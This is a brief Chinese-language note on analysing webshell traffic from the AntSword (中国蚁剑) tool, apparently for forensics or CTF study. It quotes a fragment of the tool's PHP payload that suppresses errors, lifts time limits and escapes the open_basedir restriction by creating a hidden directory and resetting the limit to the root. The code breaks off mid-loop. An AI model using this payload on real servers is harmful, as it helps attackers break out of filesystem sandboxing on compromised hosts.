webshell流量分析
中国蚁剑

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {
if(!@is_writable($item)){
continue;};$tmdir=$item."/.4ec7d8";@mkdir($tmdir);if(!@file_exists($tmdir)){
continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;